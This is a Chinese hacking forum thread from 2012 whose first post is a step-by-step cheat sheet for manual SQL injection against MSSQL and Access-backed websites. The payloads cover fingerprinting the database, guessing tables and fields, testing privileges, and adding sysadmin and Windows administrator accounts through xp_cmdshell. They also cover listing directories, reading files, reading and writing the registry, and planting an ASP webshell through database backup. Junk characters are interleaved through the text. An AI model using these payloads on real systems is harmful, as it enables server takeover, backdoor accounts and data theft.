找回密码
 立即注册
查看: 2856|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
: z4 M7 A2 w- d% I/ {. @' R+ y9 o1.判断是否有注入;and 1=1 ;and 1=2
" A( j; {6 C& d1 X& L! S6 f5 m+ p& m
5 J2 F8 @, v9 ^; r3 a9 c2.初步判断是否是mssql ;and user>0
) {+ N3 i- f% S4 H: t2 ^5 q
- j- u* ?4 t+ M3 O9 H3.注入参数是字符'and [查询条件] and ''=' ; `% g9 h) s, z& @& f7 L

8 V# t% _, a9 H# l- W/ A% g/ @4.搜索时没过滤参数的'and [查询条件] and '%25'=' : ]" O  J4 Z& U3 f

. B: J; ]/ Q8 E. ^( q  V8 c  Q0 s5.判断数据库系统
& ?4 k: A/ g4 A2 Q, n;and (select count(*) from sysobjects)>0 mssql 0 [3 s1 B  T" x$ E$ l( K: `
;and (select count(*) from msysobjects)>0 access 1 d' `( N4 F; h# a
& `2 o4 ?# d0 O1 Z# c- `# ~
6.猜数据库 ;and (select Count(*) from [数据库名])>0 : S9 l  Q8 Y9 \* }1 m

, o# `; \7 a# o7.猜字段 ;and (select Count(字段名) from 数据库名)>0 6 j/ ^# T2 j" S4 n  T7 O' {
3 e; C) g9 q! v. G) r
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
9 v# m0 V7 W2 f: @8 |
* o  C( O* N: N1 g: M% H9.(1)猜字段的ascii值(access) * H% c, w) Z) Q% m7 O$ k) p
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 2 Z; y5 U" Q9 Y* }- z) W/ x; M0 B

* i3 _/ z0 n, \4 ^5 X: _7 V(2)猜字段的ascii值(mssql) - i/ q0 q$ Q2 W  j6 G
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ) n. t" `4 l5 T3 v% q' Q
: O% _4 [9 H* x& ?
10.测试权限结构(mssql)
. h, i9 {* N  T) J- g6 Q;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- % f. ]% J/ ?/ Z$ t$ f% T- z
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- . [7 b$ @! v8 J% u' Y# ?- a. C) X
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- + n( N, S# D4 }+ z
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
' `! O4 j+ D5 l. G! j;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
4 c: [' C% F# @' _4 y  \2 Q;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 1 h+ I% y$ d5 e
;and 1=(select IS_MEMBER('db_owner'));-- 5 W! C! X1 S% C, N0 T# H
: c- O; F2 j3 B0 H" e
11.添加mssql和系统的帐户
; T' P2 ^5 S' P$ F;exec master.dbo.sp_addlogin username;--
% u4 d$ f: x1 Z2 h8 U9 l+ o3 H- ?
5 R) K( i( V4 T  i2 U3 s; B;exec master.dbo.sp_password null,username,password;--
% F3 p/ l5 l& W0 r# N: B9 G- w+ f6 K3 ~5 r
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 5 R- Y& E! S8 N2 i7 j/ P1 ~3 [

7 ]+ z) z* S; c4 e- G" J- f1 y8 a;exec master.dbo.xp_cmdshell 'net user username password
0 f6 R* P5 g% _. Z" p/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
9 s. J) D( [+ |* O1 h  D7 Q) c$ s% i* U$ s8 w1 b
;exec master.dbo.xp_cmdshell 'net user username password /add';-- * u& y8 I  Z  A) P3 h& o- t9 b

6 z# a0 T+ x; i. ]$ K. \5 A8 z- u;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 2 ?0 B- i$ \5 U
  N  ~7 I2 ^* M7 \
12.(1)遍历目录
9 @( {1 T3 B. C, q  T$ ?
, i, j6 |7 p* `1 u( B. ];create table dirs(paths varchar(100), id int)
8 N+ R. {& P$ c;insert dirs exec master.dbo.xp_dirtree 'c:\'
9 l) u+ J0 z8 B5 ?  {4 U;and (select top 1 paths from dirs)>0   a2 O7 l: M( ?
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ; @: ^5 ^! Y' X9 ?0 V" R
% a% ^, I1 [1 s5 J9 X, s9 I
(2)遍历目录 , U5 _# W9 ]% q6 y( Y% w
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- - o1 k1 `, f/ D  r0 \
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
7 v) J7 U2 E- d;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 " n. m4 U! Y7 y1 I0 T0 L" f4 m/ @
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 + n/ [" B8 d# {7 p/ N
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
7 o# r; g/ i" J8 L! v" X4 g# G& {6 C1 x' N4 s( P& z
13.mssql中的存储过程
2 L7 e+ m# h4 _% B: P
& d& j' S- f& ^4 E( Zxp_regenumvalues 注册表根键, 子键 " k& @' y1 t' G- {; ^3 Q, H
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
2 g" V& m: ^1 |4 O& E/ |: N9 s9 E! v- I
xp_regread 根键,子键,键值名
  W/ o0 X5 d4 {: G;exec xp_regread 4 Q4 P8 a9 P6 x2 z( ]
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
8 R7 Z( J: z  m) x9 {6 K3 h# A8 N6 ?4 l% E, Q2 R6 }. d3 @: g
xp_regwrite 根键,子键, 值名, 值类型, 值 % A& n8 d7 U) [6 y. n, v
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
* E. Z& M$ I4 ]6 Q: k;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 - F+ d0 G8 u  c+ f! e& g
6 X! {8 s; U1 R, M
xp_regdeletevalue 根键,子键,值名 1 r; N- P8 P9 ^7 X  ~. v8 l

5 T" i3 m' \) W! H- ]exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 : N2 v! Y7 ?! y) W/ n8 H0 [* n7 ^7 s
  m; L  ?3 ~+ h+ m( ^
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 " ^' {! O9 V5 k( r4 K5 k+ Y* [
4 e, u- Z1 x$ W" c' ^4 _3 Q$ Y
14.mssql的backup创建webshell
1 t1 N& W( N% ^) u% `: Yuse model
7 H2 r, J& T  U! Tcreate table cmd(str image); ) `9 G6 o9 l& J( [0 r
insert into cmd(str) values ('');
+ H3 S+ F  g2 D( Dbackup database model to disk='c:\l.asp'; " L# {8 _' ]% ^
6 Y/ ?. r0 U& Y
15.mssql内置函数 - \( y2 p. C/ A* v
;and (select @@version)>0 获得Windows的版本号
7 }0 k9 e/ @- N8 j' T;and user_name()='dbo' 判断当前系统的连接用户是不是sa
" I6 q1 X# n* f; |$ ^;and (select user_name())>0 爆当前系统的连接用户
8 g' y! y1 |. V5 w;and (select db_name())>0 得到当前连接的数据库 , N8 p+ j7 s1 N  g5 E8 Q9 j" v& c
9 h2 t" Q+ N, D9 G. H- ^" S
16.简洁的webshell
2 }6 O) R; e2 C5 e8 j3 E5 k0 V* |& \& ^+ s; y: R
use model
  S( N/ V5 D8 E% D9 a
1 E" K9 P5 T- Icreate table cmd(str image);
2 ~6 q# W. @6 W7 r  Y* ]5 e
+ t+ J! x" O3 k! |: {* d3 Rinsert into cmd(str) values ('');
7 b8 r4 v& S/ }$ \/ h' e" p8 [' T, a  r7 B
backup database model to disk='g:\wwwtest\l.asp';
% x' q, o- G# m+ M3 B
! }% J4 N2 r. P) a8 J
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表